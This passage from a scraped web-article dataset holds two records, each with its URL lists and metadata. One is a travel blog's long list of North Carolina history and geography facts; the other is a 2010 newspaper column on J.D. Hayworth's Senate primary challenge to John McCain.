"https://www.nctripping.com/wp-content/uploads/2022/09/Beautiful-North-Carolina-Road-Trips-for-Your-Next-Trip.jpg 1200w, https://www.nctripping.com/wp-content/uploads/2022/09/Beautiful-North-Carolina-Road-Trips-for-Your-Next-Trip-300x150.jpg 300w, https://www.nctripping.com/wp-content/uploads/2022/09/Beautiful-North-Carolina-Road-Trips-for-Your-Next-Trip-1024x512.jpg 1024w, https://www.nctripping.com/wp-content/uploads/2022/09/Beautiful-North-Carolina-Road-Trips-for-Your-Next-Trip-768x384.jpg 768w, https://www.nctripping.com/wp-content/uploads/2022/09/Beautiful-North-Carolina-Road-Trips-for-Your-Next-Trip-600x300.jpg 600w, https://www.nctripping.com/wp-content/uploads/2022/09/Beautiful-North-Carolina-Road-Trips-for-Your-Next-Trip-150x75.jpg 150w",
"https://www.nctripping.com/wp-content/uploads/2022/09/Beautiful-North-Carolina-Road-Trips-for-Your-Next-Trip.jpg",
"https://www.nctripping.com/wp-content/uploads/2020/09/Waterfalls-in-North-Carolina.jpg 1200w, https://www.nctripping.com/wp-content/uploads/2020/09/Waterfalls-in-North-Carolina-600x300.jpg 600w, https://www.nctripping.com/wp-content/uploads/2020/09/Waterfalls-in-North-Carolina-300x150.jpg 300w, https://www.nctripping.com/wp-content/uploads/2020/09/Waterfalls-in-North-Carolina-1024x512.jpg 1024w, https://www.nctripping.com/wp-content/uploads/2020/09/Waterfalls-in-North-Carolina-768x384.jpg 768w",
"https://www.nctripping.com/wp-content/uploads/2020/09/Waterfalls-in-North-Carolina.jpg",
"https://www.nctripping.com/wp-content/uploads/2020/09/Things-to-do-in-Statesville-NC.jpg 1200w, https://www.nctripping.com/wp-content/uploads/2020/09/Things-to-do-in-Statesville-NC-600x300.jpg 600w, https://www.nctripping.com/wp-content/uploads/2020/09/Things-to-do-in-Statesville-NC-300x150.jpg 300w, https://www.nctripping.com/wp-content/uploads/2020/09/Things-to-do-in-Statesville-NC-1024x512.jpg 1024w, https://www.nctripping.com/wp-content/uploads/2020/09/Things-to-do-in-Statesville-NC-768x384.jpg 768w",
"https://www.nctripping.com/wp-content/uploads/2020/09/Things-to-do-in-Statesville-NC.jpg",
"https://secure.gravatar.com/avatar/c374bab11fb24f2428b39ec6343cbaa0?s=100&d=blank&r=g 2x",
"https://secure.gravatar.com/avatar/c374bab11fb24f2428b39ec6343cbaa0?s=50&d=blank&r=g",
"https://secure.gravatar.com/avatar/04d1620cabab268be81bd74045836487?s=100&d=blank&r=g 2x",
"https://secure.gravatar.com/avatar/04d1620cabab268be81bd74045836487?s=50&d=blank&r=g",
"https://secure.gravatar.com/avatar/fb4199c5976488887d002cbb0114f1c8?s=100&d=blank&r=g 2x",
"https://secure.gravatar.com/avatar/fb4199c5976488887d002cbb0114f1c8?s=50&d=blank&r=g",
"https://secure.gravatar.com/avatar/1ee0d45f64585c65b900817ab69b0007?s=100&d=blank&r=g 2x",
"https://secure.gravatar.com/avatar/1ee0d45f64585c65b900817ab69b0007?s=50&d=blank&r=g",
"https://secure.gravatar.com/avatar/04d1620cabab268be81bd74045836487?s=100&d=blank&r=g 2x",
"https://secure.gravatar.com/avatar/04d1620cabab268be81bd74045836487?s=50&d=blank&r=g",
"https://secure.gravatar.com/avatar/630c741636dea904ec97a6e5ec5d7924?s=100&d=blank&r=g 2x",
"https://secure.gravatar.com/avatar/630c741636dea904ec97a6e5ec5d7924?s=50&d=blank&r=g",
"https://secure.gravatar.com/avatar/630c741636dea904ec97a6e5ec5d7924?s=100&d=blank&r=g 2x",
"https://secure.gravatar.com/avatar/630c741636dea904ec97a6e5ec5d7924?s=50&d=blank&r=g",
"https://secure.gravatar.com/avatar/04d1620cabab268be81bd74045836487?s=100&d=blank&r=g 2x",
"https://secure.gravatar.com/avatar/04d1620cabab268be81bd74045836487?s=50&d=blank&r=g",
"https://secure.gravatar.com/avatar/d5ca386fc2d83bf6fa01e58c3b732fe6?s=100&d=blank&r=g 2x",
"https://secure.gravatar.com/avatar/d5ca386fc2d83bf6fa01e58c3b732fe6?s=50&d=blank&r=g",
"https://secure.gravatar.com/avatar/3f6a6c4bf6755555610e67a9da51c998?s=100&d=blank&r=g 2x",
"https://secure.gravatar.com/avatar/3f6a6c4bf6755555610e67a9da51c998?s=50&d=blank&r=g",
"https://secure.gravatar.com/avatar/ef42b6a9ac7c2ce34f5e138b639c155e?s=100&d=blank&r=g 2x",
"https://secure.gravatar.com/avatar/ef42b6a9ac7c2ce34f5e138b639c155e?s=50&d=blank&r=g",
"https://secure.gravatar.com/avatar/f3a95bcf9e194b0ff9163bc257161498?s=100&d=blank&r=g 2x",
"https://secure.gravatar.com/avatar/f3a95bcf9e194b0ff9163bc257161498?s=50&d=blank&r=g",
"https://secure.gravatar.com/avatar/c02fcb508f1edba43223555e98e33708?s=100&d=blank&r=g 2x",
"https://secure.gravatar.com/avatar/c02fcb508f1edba43223555e98e33708?s=50&d=blank&r=g",
"https://secure.gravatar.com/avatar/3e76851e47159fc20f07da959ba6014a?s=100&d=blank&r=g 2x",
"https://secure.gravatar.com/avatar/3e76851e47159fc20f07da959ba6014a?s=50&d=blank&r=g",
"https://secure.gravatar.com/avatar/c47fe9475961d651c9248439ac8fccd1?s=100&d=blank&r=g 2x",
"https://secure.gravatar.com/avatar/c47fe9475961d651c9248439ac8fccd1?s=50&d=blank&r=g",
"https://secure.gravatar.com/avatar/f616a88eecf02dd0d3a747a25750d6e6?s=100&d=blank&r=g 2x",
"https://secure.gravatar.com/avatar/f616a88eecf02dd0d3a747a25750d6e6?s=50&d=blank&r=g",
"https://www.nctripping.com/wp-content/uploads/2018/02/NC-Tripping-The-Team-300x150.jpg",
"https://www.facebook.com/tr?id=754829038551418&ev=PageView&noscript=1"
] |
[] |
[] |
[
""
] | null |
[
"Carl Hedinger",
"Alex Denka",
"Sandy Bakerlis",
"Muriel H",
"Robyn Sabine",
"Marcus Elmore",
"Andruw Jarette Bensinger",
"MollyBeth McCain",
"Rita Brackeen",
"Karen Harrison Topel"
] |
2022-03-16T06:38:00-04:00
|
These facts about North Carolina focus on the state's history, geography, what North Carolina is known for today, and what makes it unique.
|
en
|
NC Tripping
|
https://www.nctripping.com/facts-about-north-carolina/
|
Published by Carl Hedinger. Last Updated on July 6, 2024.
Disclaimer: This site uses demographic data, email opt-ins, display advertising, and affiliate links. Please visit our Disclosure and Privacy Policy pages for further explanation.
While exploring and writing about our travels here, we have uncovered some interesting and fun facts about North Carolina.
And if you’ve lived here for a while or think you know this state pretty well, I guarantee you there are a few things here that are going to come as a surprise.
These North Carolina facts relate to the state’s history, geography, what North Carolina is known for today, and what makes it unique. So let’s take a break from ticking off our NC Bucket Lists and go over some things you should know about North Carolina but probably don’t.
If you’re searching for specific North Carolina tidbits, here’s how we’ve organized this guide:
Basic Facts About North Carolina
Facts About North Carolina’s Geography (Physical and Political)
More Natural Facts About North Carolina
Facts About North Carolina History
Facts About North Carolina Today
Businesses Started in North Carolina
Famous People from North Carolina
Famous Athletes
Note: The sections from “Facts about Native Americans in North Carolina” through “Post-WWII Facts About North Carolina” are chronologically organized.
Basic Facts About North Carolina
North Carolina is commonly referred to as “Carolina” (sorry, South Carolina) and goes by two nicknames: The Tar Heel State and Old North State.
As of 2020, the population of North Carolina is 10.4 million.
Raleigh is the capital of North Carolina today, but it wasn’t the first. Bath served as the first nominal capital and New Bern was established in 1766 as the first permanent capital. The government assembled in multiple other spots until 1792 when Raleigh was finally established as the permanent capital once and for all.
Our state motto is “Esse Quam Videri,” which translates in English to “To Be Rather Than To Seem.”
North Carolina’s unofficial State Slogan is “First in Flight; First in Freedom.”
The State Song is “The Old North State.”
Like many states, North Carolina has even more inanimate and living insignia. Here they are in ABC order by category:
State Beverage: Milk
State Bird: Cardinal
State Butterfly: Eastern tiger swallowtail
State Colors: Red and blue
State Dance: Shag
State Fish: Red drum
State Flower: Flowering dogwood
State Food: Scuppernong grape and sweet potato
State Fossil: Megalodon teeth
State Gemstone: Emerald
State Insect: Western honey bee
State Mammal: Eastern gray squirrel
State Marsupial: Virginia oppossum
State Mineral: Gold
State Reptile: Eastern box turtle
State Rock: Granite
State Shell: Scotch Bonnet
State Tree: Pine
Read More: The Karen Beasley Sea Turtle Rescue and Rehabilitation Center (History + How to Visit)
Facts About North Carolina’s Geography (Physical and Political)
With a total area of 53,819 square miles (139,391 sq km), North Carolina is the 28th largest state in the US.
There are 100 counties within North Carolina’s borders. The oldest county was Albermarle in Northeastern North Carolina, established in 1668 and abolished in 1739. In its place are Chowan County, Currituck County, Perquimans County, and Pasquotank County. The newest counties are Avery and Hoke, both established in 1911. Avery County was formed from parts of Caldwell County, Mitchell County, and Watauga County. Hoke County came from Cumberland County and Robeson County.
North Carolina is typically broken down into three sections from west to east: the Mountains, the Piedmont, and the Coastal Plain.
Our regions can be even more specifically broken down to include any of the following from west to east:
The Appalachian Mountains
The Great Smoky Mountains (Smokies)
The Blue Ridge Mountains
The High Country
The Foothills
The Piedmont
The Sandhills
The Coast
The Outer Banks
The Crystal Coast
Western North Carolina is home to the highest mountains in the Eastern US.
At 6,684 feet, Mount Mitchell in Yancey County is North Carolina’s highest peak and the highest peak east of the Mississippi River.
According to archaeological evidence, the Uwharries are viewed as the oldest mountains in North America.
Many diverse social and ecological systems are found in our mountains, and UNESCO recognized one of them (Grandfather Mountain) as an International Biosphere Reserve.
There are also a large number of waterfalls in Western North Carolina (near Asheville and in the High Country). Many of them are kid-friendly, too!
Over in Jackson County, you’ll find Whitewater Falls, the highest waterfall in the eastern US, falling more than 800 feet.
The lowest point in North Carolina is where it meets the Atlantic Ocean (sea level) for 322 miles along our shoreline.
That includes the Outer Banks, which is so historically rough for sailors that it’s long been referred to as the “Graveyard of the Atlantic.”
Did you know that the Fall Line (fall zone) divides Eastern and Central North Carolina? It’s a long line of erosion that runs along the east coast, where harder rocks change into softer, erosion-sensitive rocks.
Read More: The NC Tripping North Carolina Travel Map
More Natural Facts About North Carolina
The Venus Flytrap is native to the eastern part of both Carolinas. However, its first written description was recorded in a 1759 letter from North Carolina’s then-colonial Governor Arthur Dobbs to botanist Peter Collinson.
Another native plant to North Carolina is the Muscadine. It’s typically used for wines, jellies, and juices today.
On today’s Roanoke Island, the oldest cultivated grapevine (Mothervine) continues to produce antioxidant-rich juices and health formulas. We created a map of farms where you can pick muscadine grapes in NC, in case you’re interested.
Read More: The Best Waterfalls near Brevard
Facts About North Carolina History
This section of North Carolina trivia is dedicated to NC history, which includes Native Americans and post-colonization through today.
Facts About North Carolina’s Native Americans
Colonial Era North Carolina
Revolutionary War Facts
Post-Revolution Facts
19th Century Facts
Post-Civil War Facts
20th Century Facts
Post-WWII Facts
Read More: The NC Museum of History in Raleigh (+7 Things We Love About It!)
Facts About North Carolina’s Native Americans
Native Americans had lived on this land for thousands of years before European arrival. Archaeologists have traced their presence back as far as 12,000 years ago to be more exact.
When Europeans first arrived in the mid-1500s, estimates say 35,000 to 50,000 Tuscarora, Catawba, and Cherokee lived here.
A series of trade networks thrived throughout this area, predating many of today’s industries with similar crafts and practices.
For example, many people know about the Seagrove Potters who live in today’s Randolph County. However, evidence shows that Native Americans had been making and firing items from clay as late as 3,000 years ago.
Clay was not the only material that was used by Native Americans in North Carolina. Evidence indicates that Mica was mined heavily in the Marion area and used as currency about 2,000 years ago. Mica is still abundant in the area, which is a big factor behind Marion‘s nickname “Mica Town.”
Disease, violence, and forced removal by the American government led to a sharp decline in population, especially of the Catawba and Tuscarora people.
During the Revolutionary War, the Cherokee sided with the British in the hopes that they’d receive protection from further settlement. Unfortunately, for the Cherokee, the British lost the war. Thus, any hope of favorable treatment by the new American government was gone, too.
Many Cherokee people were eventually forced to leave during the tragic “Trail of Tears.” Some stayed behind and either fought for their land or evaded removal efforts. These Cherokee joined the Oconaluftee Cherokee who were allowed to stay in North Carolina. Today, the reservation known as the “Qualla Boundary” is where large numbers of Cherokee descendants live.
In total, 100,000 Native Americans still live in North Carolina. This is the eighth largest in the US and you won’t find any state east of the Mississippi River with a larger population.
Today, the state recognizes eight tribes. They include the following:
Coharie
Eastern Band of Cherokee
Haliwa-Saponi
Lumbee
Meherrin
Occaneechi Band of Saponi Nation
Sappony
Waccamaw-Siouan
Read More: Colorful Fall Hikes in North Carolina (+ 20 Beautiful Places to Explore!)
Colonial Era NC Facts (16th Century to the Revolutionary War)
Before the English came to North Carolina, the area had already seen Europeans. Evidence shows that Spanish explorers spent time in Western North Carolina while searching for gold. Juan Pardo and his men even constructed the outposts of Cuenca and Fort San Juan near modern-day Morganton in Burke County.
Roanoke Island is the location of the first attempted English Colony. In 1587, Virginia Dare was the first English child born in the colony. Sadly and mysteriously, the colony and all its inhabitants disappeared not long after arriving. Today, it’s the historic town of Manteo, the first of many Outer Banks towns you should explore upon arrival.
North Carolina and South Carolina were both one colony (Carolina), named by King Charles II in honor of his father Charles I.
The Carolina settlement was divided into two separate proprietary colonies in 1712 by the Lord’s Proprietors.
Read More: 25+ Amazing Restaurants in Morganton and Nearby! (Map Included!)
During its time as a proprietary colony, North Carolina was regarded as more dangerous than its neighbors. Pirates (including Blackbeard, aka Edward Teach) hid behind barrier islands and terrorized ships that crossed their paths.
North Carolina officials were unable to control pirate activity and outside help came in. In November 1718, the Governor of Virginia (Alexander Spotswood) sent a detachment of soldiers to combat the pirates. They found Blackbeard and his men and engaged, killing the famous buccaneer and capturing many of his men and ships.
In 1729, North Carolina became a royal colony when it was sold to King George II by its proprietors.
From then, North Carolina grew in population and attracted more and more settlers.
Many of these settlers either brought enslaved Africans or purchased them to work and live in bondage. In 1712, there were about 800 enslaved people in North Carolina, and by 1767, about 41,000.
Another notable arrival came in 1753 when members of the Moravian Church arrived in Central North Carolina. In 1766, they began work on a town. Five additional communities surrounded Salem in the Wachovia tract and it was a powerful and profitable religious and economic center for many years.
At the same time, tensions were brewing between the English, its enemies, and its settlers.
Europe’s Seven Year War traveled across the Atlantic and erupted into the French and Indian War between 1754-1763. Cherokee began attacking settlers in retaliation for the violence that occurred in Virginia. One major battle during this war occurred at Fort Dobbs in modern-day Statesville. Cherokee attacked the fort in February 1760 and provincial soldiers turned them back, killing more than 10 and suffering two losses.
The flames of discontent continued to burn, but this time, it was the settlers fighting against colonial officials. From 1765-1771, there were a series of skirmishes and battles known as the Regulator Movement (or War of the Regulation). Colonial forces won the Battle of Alamance in May 1771 and forced the Regulators they could find to sign loyalty oaths.
Read More: 30+ Awesome Things to Do in Statesville
Revolutionary War Facts about North Carolina
Of course, the fighting only stopped for a short time. Many North Carolinians would become involved in a series of skirmishes known as the Revolutionary War. It might be incorrect to say we “joined” the war effort because North Carolina led the pack in declaring independence.
In 1774, Penelope Barker organized a group of women in Edenton to protest the 1773 Tea Act. It was the first recorded political demonstration by women in America.
The controversial Mecklenburg Declaration of Freedom was allegedly produced on May 20, 1775, in Charlotte. Its legitimacy is contentious at best. That’s because a copy wasn’t made publicly available until 1819.
Many folks know our “First in Flight” license plates but there’s also “First in Freedom.” That’s partly because of the Mecklenburg Declaration of 1775, which made us the first state to declare independence.
Whether or not you believe in the Meck Dec, the Halifax Resolves in April 1776 officially declared North Carolina’s independence months before the July 4 declaration by the Continental Congress.
The Halifax Resolves took place two months after the Battle of Moore’s Creek Bridge in Eastern North Carolina. Patriot troops defeated a Loyalist force there in one of the American Revolution’s earliest battles.
Additional Revolutionary War battles fought in North Carolina include:
The Battle of Ramsour’s Mill (June 20, 1780)
The Battle of Charlotte (September 26, 1780)
Battle of Cowan’s Ford (February 1, 1781)
The Battle of Guilford Courthouse (March 15, 1781)
The Battle of Rockfish (August 2, 1781)
Battle of Elizabethtown (August 27, 1781)
Read More: National Parks Sites in North Carolina
Post-Revolution Facts About North Carolina
Fayetteville may have lost out to Raleigh as the permanent capital of North Carolina (see below), but it wins the title of “First Place in North America Named for Marquis de Lafayette.” Today, numerous cities, counties, streets, and other places bear his name.
As one of our country’s 13 original states, North Carolina was the 12th to ratify the constitution.
North Carolina was admitted to the union on November 21, 1789.
As we mentioned, Raleigh became the official capital of North Carolina in 1792.
The University of North Carolina at Chapel Hill is one of three institutions (along with the University of Georgia and the College of William and Mary) to claim the title of the nation’s oldest public university.
One fact that is not up for debate is that UNC was the first to hold classes (1795) and graduate students (1798).
19th-Century Facts About North Carolina
Another North Carolina first is the Carolina Gold Rush, which officially started in 1799. Until its end in 1828, there were multiple gold-producing areas in North Carolina, and you can learn about them at the Reed Gold Mine in Cabarrus County.
Today, you can even pan for gold there, as well as in various places, including Marion in McDowell County.
Hiram Rhodes Revels was born in Fayetteville (1822) and among other accomplishments, was the first African-American member of the United States Congress, representing Mississippi.
In 1853, the first North Carolina State Fair was held in Raleigh. The NC State Fairgrounds have hosted the event since 1928.
Civil War Facts about North Carolina
North Carolina’s place in the Civil War is well-known, too. Memorable battles fought here include:
Battle of Goldsboro Bridge (1862)
The First and Second Battles of Fort Fisher (1864 and 1865)
The Battle of Bentonville (1865)
Also, did you know that Bennett Place in now-Durham is the site of the last and largest surrender of a major Confederate army? It took a couple of meetings but on April 26, 1865, General Johnston surrendered to General Sherman and the Union.
Read More: 17 Amazing Eno River State Park Trails (+ Bonus Hikes)
Post-Civil War Facts About North Carolina
If you’re familiar with Edgecombe County, then this might be one of the most obvious facts about North Carolina to you. Originally known as Freedom Hill, Princeville is the oldest town incorporated (1885) by African-Americans.
People would not be happy with us for leaving out Biltmore Estate in this post about North Carolina facts. And how could we leave out America’s largest privately-owned house? The home officially opened in 1895 (on Christmas Eve) and is still owned by George Vanderbilt’s descendants.
Before the end of the 19th century, one of North Carolina’s darkest events took place. On November 10, 1898, white supremacists carried out a riot and insurrection in Wilmington. This resulted in the killing of 60 to 300-plus people, destruction of Black-owned property throughout the city, and the expulsion of opposition White and Black politicians from Wilmington.
20th Century Facts About North Carolina
The first major event of the 20th century was a pretty big one.
The Wright Brothers (Orville and Wilbur) successfully flew the first self-propelled aircraft near Kitty Hawk on December 17, 1903. Each December, the Wright Brothers National Memorial celebrates its “First Flight” with fun throughout the entire day.
The Wright Brothers National Memorial is one of 12 national parks sites in North Carolina.
You might remember Salem from our “Colonial” section, and don’t worry. It’s still with us, just in hyphen form. In 1913, Salem joined the adjacent town of Winston to become our state’s best-known dash city of Winston-Salem.
And Fayetteville has another contribution to the “First” fun. There, you’ll find a historical marker that commemorates Babe Ruth hitting his first professional home run there in 1914.
In 1915, Mount Mitchell and surrounding lands were established as North Carolina’s first state park. Today, there are 41 state parks sites.
Read More: 100+ Hiking Trails in North Carolina
One of the more disputed facts about North Carolina revolves around tourism. The Blowing Rock (opened in 1933) claims to be North Carolina’s oldest tourist attraction, but that’s merely due to the rock’s age of more than one billion years. As a business, it’s predated by others, including Chimney Rock State Park near the Village of Chimney Rock, which opened as Chimney Rock Park on July 4, 1916.
In 1917, Jacques and Juliana Busbee arrived in Seagrove searching for the person who created their orange pie dish. In doing so, they discovered an entire community of potters and wanted to let the whole world know about them. So the artist couple opened Jugtown Pottery nearby, and Juliana opened a shop in New York City, which featured Seagrove Pottery and put it on the map. New waves of potters have moved there over the years, with current tallies at around 100 within the community of 200.
In 1923, North Carolina Central University became North Carolina’s first state-supported liberal arts college for African American students. The school was originally founded in 1909 as a private college but was sold a few years later and eventually purchased by the State.
It’s hard to find someone who doesn’t know about the Empire State Building in New York. But did you know that the Reynolds Building in Winston-Salem (completed in 1929) was its prototype? Each year, the Empire State Building sends a Father’s Day card to say thanks. You can stay in the Cardinal Hotel portion of this iconic building, too!
America’s first state-supported symphony, the North Carolina Symphony, officially started in 1932 and continues today.
The 1936 PGA Championship was held at Pinehurst No. 2, the first of many major events to be held at the Moore County resort town.
In 1942, construction began on Fontana Dam in Graham and Swain counties and was completed in 1944. It is the tallest dam in the Eastern US, at 480 feet. The project submerged towns and led to the abandonment of others. You can hike to a few of them by starting at the Road to Nowhere outside Bryson City.
“The Miracle of Hickory” showed the world what Catawba County’s largest city could do in times of crisis. In response to the Hickory area‘s first polio cases in 1944, local citizens and doctors built, equipped, and staffed a full-scale hospital in 54 hours.
Read More: Amazing Restaurants in Hickory
Post-WWII Facts About North Carolina
After World War II, the US-Navy effort known as Operation Bumblebee, moved to Camp Davis near Holly Ridge in Onslow County. The mission’s goal was to develop surface-to-air missiles (SAMs). From 1946 to 1948, Topsail Island served as the Bumblebee testing and launch facility. Remnants of Bumblebee remain on the island and today, the Missiles and More Museum teaches visitors about the Pender County site and its history.
Read More: 17 of the Best Topsail Island Restaurants (Great Food for All!)
The amazing North Carolina Museum of Art, which established its collection in 1947. It’s the first state art museum.
In 1959, Research Triangle Park (RTP) was established near Raleigh, Durham, and Chapel Hill. More than 300 companies are headquartered here, including big names in tech, health, research, and other sectors. RTP is the largest research park in the United States.
The 1960s began with one of the most famous moments in Civil Rights History, and it happened right here in North Carolina. The “Greensboro Four” led a series of Sit-Ins at a Woolworth’s Lunch Counter and sparked similar protests in cities throughout North Carolina and elsewhere in the South. Today, you can visit the same Woolworths, which has now transformed into the International Civil Rights Center.
Read More: The Historic Magnolia House in Greensboro (an Excellent Former Green Book Hotel)
In 1974, the North Carolina Zoo opened in Asheboro and today is known as the world’s largest natural habitat zoo.
Folks had been coming to Beech Mountain for years to enjoy skiing and the Land of Oz for years before its incorporation in 1981. With that official designation, it became the highest elevated mountain town in the US, at 5,506 feet above sea level.
In the 1990s, North Carolina earned two professional sports teams. The NFL’s expansion Carolina Panthers started play in Charlotte in 1995 and the NHL’s Hartford Whalers moved to Raleigh and became the Carolina Hurricanes in 1997.
Both the Hurricanes and Panthers have the distinction of being the only two major pro sports teams with the same geographic designation (Carolina) while playing in different metropolitan areas.
Read More: 20+ Awesome Museums in Charlotte and Nearby!
In 1994, the Eastern Band of Cherokee Indians Tribal Council and the State of North Carolina reached an agreement to establish a casino in Cherokee. It opened in 1997 and today, is known as Harrah’s Cherokee Casino Resort.
To close out the 20th century, the Cape Hatteras Lighthouse was moved in 1999 due to shoreline erosion. Today, it sits a safe distance from the ocean. The coastal lighthouse is the largest to be moved due to erosion.
Facts About North Carolina Today
As we progress through the 21st century, there are some interesting facts about North Carolina that keep popping up.
The state leads the nation in a variety of industries. Our farmers produce the largest quantity of sweet potatoes in the nation.
We’re also the third-largest producer of strawberries. You can thank the farmers when you’re out strawberry picking at one of the many spots that pop up during the spring.
High Point is known as the Furniture Capital of the World.
Not only is North Carolina the leader in furniture, but also tobacco, brick, and textiles.
We’re also known for our amazing wineries and vineyards. In fact, the Yadkin Valley was the first federally recognized American Viticultural Area in 2003. Today, there are nearly 50 wineries in the Yadkin Valley region.
North Carolina also has the highest concentration of breweries per capita in the South, with over 300. You can celebrate that fact any time of year, but Beer Month in October would be the most proper time to do it.
Speaking of beer, Mad Mole Brewing in Wilmington was America’s first solar craft microbrewery when it opened in 2018.
Ashe County is the largest producing county when it comes to Christmas trees. One of our favorite farms (Frosty’s) is here, with a few others nearby in Boone and elsewhere throughout the state.
In fact (pun?), our Fur Fraser Firs are known as the best (no debate!). They’ve featured as the White House Christmas tree more than a dozen times, making Fraser Firs the most popular species. Perhaps this abundance of trees is why we have so many awesome Christmas light displays in North Carolina?
Not all industries have survived during North Carolina’s existence. But even when one industry goes away, something else typically comes along and carries the torch. With Asheville’s River Arts District (RAD), that’s absolutely the case. Formerly a collection of industrial buildings that a flood left abandoned, RAD now houses more than 150 artists in 19 buildings.
Read More: Christmas in North Carolina (the Best Holiday Events)
Businesses Started in North Carolina
Some of the biggest and most successful businesses originated in North Carolina, too. You may know a few of these (like Pepsi, RJ Reynolds, and Krispy Kreme) but not all.
Bojangles
Butterball
Cheerwine
Family Dollar
Food Lion
Hanes
Harris Teeter
Hendrick Motorsports
Krispy Kreme
Lowe’s
Mt Olive Pickle Company
NC Mutual
Pepsi Cola
Putt-Putt Golf
RJ Reynolds Tobacco Company
Untappd, a perfect accompaniment to these breweries in Wilmington
Wrangler Jeans
Read More: Why and How to Support Amazing Local Businesses
Famous People from North Carolina
Many famous people have also called North Carolina “home,” either born here or spending parts of their lives here. You might not consider all these people “facts” but some were really fun to uncover!
It’s disputed between the two Carolinas about Andrew Jackson’s birthplace, but nobody can say that he was NOT born in North Carolina.
However, Presidents James K Polk (Pineville), Andrew Johnson (Raleigh), and First Lady Dolley Madison (Greensboro) were clearly born on the north side of the border.
An eclectic collection of musicians either born in or hailing from North Carolina include the following:
Tori Amos
Scott Avett and Seth Avett, also known as The Avett Brothers
George Clinton
J. Cole
John Coltrane
Luke Combs
Thelonius Monk
Earl Scruggs
Nina Simone
James Taylor
Doc Watson
The NC Music Hall of Fame honors and celebrates new inductees during a ceremony every year.
We also need to include Robert Moog, known for the namesake synthesizer. Moog spent many years living in Asheville and his legacy remains with the Moogseum and Moog Factory both in town.
Actors and actresses from North Carolina include:
Zach Galifianakis
Ava Gardner
Pam Grier
Andy Griffith
Julianne Moore
Soupy Sales
Evan Rachel Wood.
Authors Thomas Wolfe, Sarah Desson, and William Sydney Porter (O. Henry) are all native North Carolinians, too. Nicholas Sparks, Maya Angelou, and David Sedaris all have spent or spent large portions of their lives in North Carolina.
Read More: 30+ Great Things to Do in Boone (Hikes, Eats, and More in App Town)
Famous Athletes
We had to make a separate category for famous athletes because there are so many from North Carolina.
It’s not just basketball, but North Carolinians who’ve made great contributions to hardcourt starts with His Airness Michael Jordan. Even if he was born in New York City, Jordan’s family relocated to Wilmington when he was a toddler and the rest is history.
Charlotte Smith, Steph Curry (raised in Charlotte), James Worthy, Chris Paul, and Bob McAdoo are a few of the many talented basketball players from North Carolina.
There are other sports in North Carolina and NASCAR Racers Junior Johnson, Richard Petty and Dale Earnhardt Sr (and Jr, too) are absolutely worth remembering.
Other big names in sports include the following:
Dwight Clark (NFL)
Howard Cosell (Sports Journalist, Broadcaster, and Author)
Catfish Hunter (MLB)
Sonny Jergonsen (NFL)
Buck Leonard (Negro Leagues Baseball)
Eddie Pope (MLS and US Men’s National Soccer)
Charles Sifford (instrumental in desegregating the PGA)
Read More: Minor League Baseball in NC (15+ Interesting Teams to Watch)
Had Enough or Got More Facts About North Carolina for Us?
If you’ve had enough North Carolina facts for one reading, congratulations! This is the end. But if you have any additional facts for us, we’d love to know them.
Let us know in the comments section and if it’s a really good one, we’ll have to investigate further! Before you do that, here are some guides that will help you explore many of the facts about North Carolina that we mentioned.
Beyond Facts About North Carolina (Things to Do)
|
|||||
3358
|
dbpedia
|
2
| 76
|
https://www.bostonherald.com/2010/04/01/arizona-battle-heats-up/
|
en
|
Arizona battle heats up
|
[
"https://www.bostonherald.com/wp-content/uploads/2020/01/BostonHerald_WebsiteLogoBlue.svg",
"https://secure.gravatar.com/avatar/?s=85&d=mm&r=g",
"https://www.bostonherald.com/wp-content/uploads/2024/05/rvardnl003_8c4848.jpg?w=467",
"https://www.bostonherald.com/wp-content/uploads/2024/05/BHR-Z-EDITORIAL-01_29e509.jpg?w=524",
"https://www.bostonherald.com/wp-content/uploads/2024/05/BHR-L-LOWRY-01.jpg?w=525",
"https://www.bostonherald.com/wp-content/uploads/2024/07/AP24203671860506.jpg?w=525",
"https://www.bostonherald.com/wp-content/uploads/2020/01/BostonHerald_WebsiteLogoBlue.svg"
] |
[] |
[] |
[
""
] | null |
[
"George F. Will"
] |
2010-04-01T00:00:00
|
PHOENIX – In 1994, when first running for Congress, J.D. Hayworth, who today is 51 and trying to wrest from John McCain, 73, the Arizona Republican Party’s Senate nomination, went jogging in Washington wearing a T-shirt given to him by some Arizona loggers. Federal solicitude for the supposedly endangered spotted owl was bedeviling the timber […]
|
en
|
Boston Herald
|
https://www.bostonherald.com/2010/04/01/arizona-battle-heats-up/
|
PHOENIX – In 1994, when first running for Congress, J.D. Hayworth, who today is 51 and trying to wrest from John McCain, 73, the Arizona Republican Party’s Senate nomination, went jogging in Washington wearing a T-shirt given to him by some Arizona loggers. Federal solicitude for the supposedly endangered spotted owl was bedeviling the timber industry, and Hayworth’s shirt read: “If two teenagers can procreate in the back seat of a Volkswagen, why does a spotted owl need 2,000 acres?” Hayworth’s jog intersected President Clinton’s, so Hayworth subsequently told the loggers he had “run your message past the president.” Hayworth’s middle name is not Nuance.
Washed into Washington by the 1994 Republican wave, he was washed out in 2006 by a Democratic wave. Born in North Carolina, he is a burly ex-football player for North Carolina State. Having been a television sportscaster here before entering politics, Hayworth bounced from defeat to a talk radio station. There he put his flair for rhetorical fireworks in the service of his favorite causes, two of which are stopping illegal immigration and deploring the insufficiencies of McCain’s conservatism.
McCain, who has a flair for umbrage, felt some about another Hayworth cause – a possible Hayworth Senate candidacy.
Although Hayworth was not yet a candidate, McCain argued that he was receiving from the station’s owner an illegal “corporate in-kind contribution” of “as much as” $540,000 a week, a figure concocted by pricing Hayworth’s 15 hours per week at the rate advertisers would pay for 1,800 30-second spots. Hayworth spared his station the litigation costs by becoming a candidate.
Hayworth and McCain, who is seeking a fifth term, will gnaw on each other until the August primary, the rules of which are still unclear. Usually, primary turnouts are low, but this shootout will be unusually enticing. Republican primaries have been open to unaffiliated voters, but in January, when Hayworth’s candidacy was still embryonic, the state party opted for a closed primary, on the sound principle that party members – there are 1.12 million registered – should pick those who represent the party.
McCain understandably wants the primary open to non-Republicans: A closed primary would favor Hayworth, many of whose supporters are the sort of high-octane conservatives who will vote in an Arizona August. Two of conservatism’s current pinups – Sarah Palin, on whom McCain conferred celebrity, and Massachusetts Sen. Scott Brown – have campaigned here for McCain.
Some Arizona and national Republicans worry that nominating Hayworth would exacerbate the party’s problems with Hispanics, the nation’s largest and fastest-growing minority. Barack Obama won 75 percent of the immigrant Latino vote in 2008. Hayworth counters, “Beware the myth of the monolith.” He says “some of my most passionate support” comes from Hispanics offended by illegal immigrants.
